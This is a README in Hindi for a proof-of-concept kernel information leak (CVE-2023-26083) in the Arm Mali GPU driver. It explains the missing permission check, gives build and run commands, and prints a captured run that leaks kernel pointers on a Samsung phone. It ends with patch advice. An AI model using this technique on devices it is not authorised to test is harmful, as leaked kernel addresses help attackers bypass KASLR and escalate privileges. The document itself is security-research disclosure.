
CVE-2023-26083-Mali-InfoLeak-PoC
यह रिपॉज़िटरी CVE-2023-26083 के लिए एक proof-of-concept (PoC) एक्सप्लॉइट है, जो Mali GPU ड्राइवर (Arm Mali GPU Kernel Driver) में एक कमजोरी है जो एक अविशेषाधिकार प्राप्त उपयोगकर्ता को टाइमलाइन स्ट्रीम (/dev/mali0) के माध्यम से कर्नेल पॉइंटर्स और संवेदनशील आंतरिक जानकारी लीक करने की अनुमति देती है।
Mali GPU ड्राइवर प्रोफाइलिंग और डीबगिंग के लिए एक “timeline stream” (tlstream) सुविधा प्रदान करता है। यह स्ट्रीम ऐसी घटनाओं को निर्यात करती है जिनमें रॉ कर्नेल पॉइंटर्स होते हैं (जैसे, kbase_context, kbase_gpu, kbase_lpu, एड्रेस स्पेस, एटम आदि के पते)। सामान्यतः, इस स्ट्रीम तक पहुँच के लिए BASE_CONTEXT_CREATE_FLAG_MONITOR फ़्लैग की आवश्यकता होनी चाहिए। हालाँकि, KBASE_IOCTL_TLSTREAM_ACQUIRE हैंडलर में अनुपलब्ध अनुमति जाँच के कारण, कोई भी प्रक्रिया (बिना मॉनिटर फ़्लैग के भी) टाइमलाइन स्ट्रीम के लिए फ़ाइल डिस्क्रिप्टर प्राप्त कर सकती है और कर्नेल मेमोरी एड्रेस पढ़ सकती है।
प्रभाव:
/dev/mali0 मौजूद होना चाहिए)।चूँकि कोड स्व-निहित और स्टैंडअलोन है, आप इसे मानक टूल्स का उपयोग करके आसानी से क्रॉस-कंपाइल कर सकते हैं।
ARM64 डिवाइसों के लिए संकलन हेतु Android NDK टूलचेन का उपयोग करें। विभिन्न Android संस्करणों पर डायनेमिक लिंकर संगतता समस्याओं से बचने के लिए स्टैटिक लिंकिंग का उपयोग करने की अत्यधिक अनुशंसा की जाती है:
aarch64-linux-android21-clang -static -o mali_tlstream_leak mali_tlstream_leak.c
यदि आप ARM डेवलपमेंट बोर्ड (जैसे Raspberry Pi या Odroid) पर परीक्षण कर रहे हैं जिसमें Mali GPU है और जो एक मानक Linux डिस्ट्रो चलाता है:
gcc -static -o mali_tlstream_leak mali_tlstream_leak.c
./mali_tlstream_leak
प्रोग्राम निम्न कार्य करेगा:
/dev/mali0 खोलें।BASE_CONTEXT_CREATE_FLAG_NONE पर सेट करें (कोई मॉनिटर विशेषाधिकार नहीं)।*** KERNEL के साथ चिह्नित)।नोट: यह Proof-of-Concept (PoC) केवल Samsung Galaxy J7 Prime पर परीक्षण किया गया था जो Android 8.1.0 (कर्नेल 3.18) और 1 अप्रैल, 2020 के सुरक्षा पैच स्तर के साथ चल रहा था।
on7xelte:/data/local/tmp $ ./mali_tlstream_leak
Version: major=11 minor=5
SET_FLAGS ok
TLSTREAM_ACQUIRE ok, tlfd=4
Read 3805 bytes from tlstream (total=3805)
Raw hex dump (3805 bytes):
0000: 01 00 00 04 e1 0a 00 00 03 08 20 00 00 00 00 00
0010: 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 5f 4e
0020: 45 57 5f 43 54 58 00 16 00 00 00 6f 62 6a 65 63
0030: 74 20 63 74 78 20 69 73 20 63 72 65 61 74 65 64
0040: 00 05 00 00 00 40 70 49 49 00 10 00 00 00 63 74
0050: 78 2c 63 74 78 5f 6e 72 2c 74 67 69 64 00 01 00
0060: 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 5f 4e
0070: 45 57 5f 47 50 55 00 16 00 00 00 6f 62 6a 65 63
0080: 74 20 67 70 75 20 69 73 20 63 72 65 61 74 65 64
0090: 00 05 00 00 00 40 70 49 49 00 16 00 00 00 67 70
00a0: 75 2c 67 70 75 5f 69 64 2c 63 6f 72 65 5f 63 6f
00b0: 75 6e 74 00 02 00 00 00 11 00 00 00 4b 42 41 53
00c0: 45 5f 54 4c 5f 4e 45 57 5f 4c 50 55 00 16 00 00
00d0: 00 6f 62 6a 65 63 74 20 6c 70 75 20 69 73 20 63
00e0: 72 65 61 74 65 64 00 05 00 00 00 40 70 49 49 00
00f0: 12 00 00 00 6c 70 75 2c 6c 70 75 5f 6e 72 2c 6c
0100: 70 75 5f 66 6e 00 03 00 00 00 12 00 00 00 4b 42
0110: 41 53 45 5f 54 4c 5f 4e 45 57 5f 41 54 4f 4d 00
0120: 17 00 00 00 6f 62 6a 65 63 74 20 61 74 6f 6d 20
0130: 69 73 20 63 72 65 61 74 65 64 00 04 00 00 00 40
0140: 70 49 00 0d 00 00 00 61 74 6f 6d 2c 61 74 6f 6d
0150: 5f 6e 72 00 04 00 00 00 10 00 00 00 4b 42 41 53
0160: 45 5f 54 4c 5f 4e 45 57 5f 41 53 00 20 00 00 00
0170: 61 64 64 72 65 73 73 20 73 70 61 63 65 20 6f 62
0180: 6a 65 63 74 20 69 73 20 63 72 65 61 74 65 64 00
0190: 04 00 00 00 40 70 49 00 14 00 00 00 61 64 64 72
01a0: 65 73 73 5f 73 70 61 63 65 2c 61 73 5f 6e 72 00
01b0: 05 00 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c
01c0: 5f 44 45 4c 5f 43 54 58 00 15 00 00 00 63 6f 6e
01d0: 74 65 78 74 20 69 73 20 64 65 73 74 72 6f 79 65
01e0: 64 00 03 00 00 00 40 70 00 04 00 00 00 63 74 78
01f0: 00 06 00 00 00 12 00 00 00 4b 42 41 53 45 5f 54
Parsing packets:
Packet at offset 0: family=TL class=OBJ type=HEADER stream=1 len=2785 numbered=0
Packet at offset 2793: family=TL class=OBJ type=SUMMARY stream=1 len=1004 numbered=0
[NEW_LPU] (ts=104596762668116, 16 bytes payload) ptr0=0xffffffc0baead7f8 *** KERNEL val1=0 val1=526
[NEW_LPU] (ts=104596762668539, 16 bytes payload) ptr0=0xffffffc0baead7fc *** KERNEL val1=1 val1=510
[NEW_LPU] (ts=104596762669039, 16 bytes payload) ptr0=0xffffffc0baead800 *** KERNEL val1=2 val1=126
[NEW_AS] (ts=104596762669654, 12 bytes payload) ptr0=0xffffffc0baeac740 *** KERNEL val1=0
[NEW_AS] (ts=104596762670078, 12 bytes payload) ptr0=0xffffffc0baeac838 *** KERNEL val1=1
[NEW_AS] (ts=104596762670347, 12 bytes payload) ptr0=0xffffffc0baeac930 *** KERNEL val1=2
[NEW_AS] (ts=104596762670539, 12 bytes payload) ptr0=0xffffffc0baeaca28 *** KERNEL val1=3
[NEW_AS] (ts=104596762670847, 12 bytes payload) ptr0=0xffffffc0baeacb20 *** KERNEL val1=4
[NEW_AS] (ts=104596762671001, 12 bytes payload) ptr0=0xffffffc0baeacc18 *** KERNEL val1=5
[NEW_AS] (ts=104596762671154, 12 bytes payload) ptr0=0xffffffc0baeacd10 *** KERNEL val1=6
[NEW_AS] (ts=104596762671462, 12 bytes payload) ptr0=0xffffffc0baeace08 *** KERNEL val1=7
[NEW_GPU] (ts=104596762671808, 16 bytes payload) ptr0=0xffffffc0baeac000 *** KERNEL val1=137363472 val1=1
[LIFELINK_LPU_GPU] (ts=104596762671962, 16 bytes payload) ptr0=0xffffffc0baead7f8 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
[LIFELINK_LPU_GPU] (ts=104596762672385, 16 bytes payload) ptr0=0xffffffc0baead7fc *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
[LIFELINK_LPU_GPU] (ts=104596762672578, 16 bytes payload) ptr0=0xffffffc0baead800 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
[LIFELINK_AS_GPU] (ts=104596762672924, 16 bytes payload) ptr0=0xffffffc0baeac740 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
[LIFELINK_AS_GPU] (ts=104596762673116, 16 bytes payload) ptr0=0xffffffc0baeac838 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
[LIFELINK_AS_GPU] (ts=104596762673385, 16 bytes payload) ptr0=0xffffffc0baeac930 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
[LIFELINK_AS_GPU] (ts=104596762673539, 16 bytes payload) ptr0=0xffffffc0baeaca28 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
[LIFELINK_AS_GPU] (ts=104596762673847, 16 bytes payload) ptr0=0xffffffc0baeacb20 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
[LIFELINK_AS_GPU] (ts=104596762674001, 16 bytes payload) ptr0=0xffffffc0baeacc18 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
[LIFELINK_AS_GPU] (ts=104596762674154, 16 bytes payload) ptr0=0xffffffc0baeacd10 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
[LIFELINK_AS_GPU] (ts=104596762674462, 16 bytes payload) ptr0=0xffffffc0baeace08 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
[NEW_CTX] (ts=104596762674962, 16 bytes payload) ptr0=0xffffff802619e000 *** KERNEL val1=194 val1=12465
[NEW_CTX] (ts=104596762675654, 16 bytes payload) ptr0=0xffffff8025e13000 *** KERNEL val1=193 val1=12116
[NEW_CTX] (ts=104596762676385, 16 bytes payload) ptr0=0xffffff8025bb3000 *** KERNEL val1=192 val1=11342
[NEW_CTX] (ts=104596762677154, 16 bytes payload) ptr0=0xffffff801de1f000 *** KERNEL val1=156 val1=24216
[NEW_CTX] (ts=104596762677885, 16 bytes payload) ptr0=0xffffff801db73000 *** KERNEL val1=150 val1=29044
[NEW_CTX] (ts=104596762678616, 16 bytes payload) ptr0=0xffffff80224ce000 *** KERNEL val1=145 val1=6525
[NEW_CTX] (ts=104596762679693, 16 bytes payload) ptr0=0xffffff801f1f2000 *** KERNEL val1=47 val1=3367
[NEW_CTX] (ts=104596762680385, 16 bytes payload) ptr0=0xffffff801e187000 *** KERNEL val1=36 val1=23263
[NEW_CTX] (ts=104596762681385, 16 bytes payload) ptr0=0xffffff80243c5000 *** KERNEL val1=26 val1=15858
[NEW_CTX] (ts=104596762682193, 16 bytes payload) ptr0=0xffffff8020cff000 *** KERNEL val1=24 val1=4256
[NEW_CTX] (ts=104596762682885, 16 bytes payload) ptr0=0xffffff801f221000 *** KERNEL val1=15 val1=10645
[NEW_CTX] (ts=104596762683654, 16 bytes payload) ptr0=0xffffff801dbca000 *** KERNEL val1=3 val1=2976
[NEW_CTX] (ts=104596762684501, 16 bytes payload) ptr0=0xffffff802b375000 *** KERNEL val1=2 val1=3409
[NEW_CTX] (ts=104596762685039, 16 bytes payload) ptr0=0xffffff8020d88000 *** KERNEL val1=0 val1=2613
जैसा कि दिखाया गया है, PoC कई कर्नेल एड्रेस सफलतापूर्वक लीक करता है:
मुख्य चरण निम्न हैं:
/dev/mali0 खोलें – मानक Mali डिवाइस इंटरफ़ेस।BASE_CONTEXT_CREATE_FLAG_NONE पर सेट करें (कोई मॉनिटर विशेषाधिकार नहीं)।अपने कर्नेल को CVE-2023-26083 के फिक्स वाले संस्करण में अपडेट करें।
वैकल्पिक रूप से, यदि आप एक निर्माता हैं, तो Arm या Linux kernel stable tree से पैच लागू करें।
यह कोड केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है।
इस एक्सप्लॉइट को बिना स्पष्ट अनुमति के सिस्टम पर उपयोग करना लागू कानूनों का उल्लंघन कर सकता है। लेखक इस सॉफ़्टवेयर के कारण होने वाले किसी भी दुरुपयोग या क्षति के लिए ज़िम्मेदार नहीं है। इसका उपयोग केवल उन डिवाइसों पर करें जिनके स्वामी आप हैं या जिनके परीक्षण के लिए आपके पास लिखित अधिकार है।
Noveris